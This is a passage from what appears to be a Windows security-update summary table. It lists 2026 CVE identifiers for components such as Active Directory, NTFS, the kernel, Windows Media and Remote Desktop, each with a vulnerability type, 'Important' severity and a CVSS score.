\n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure 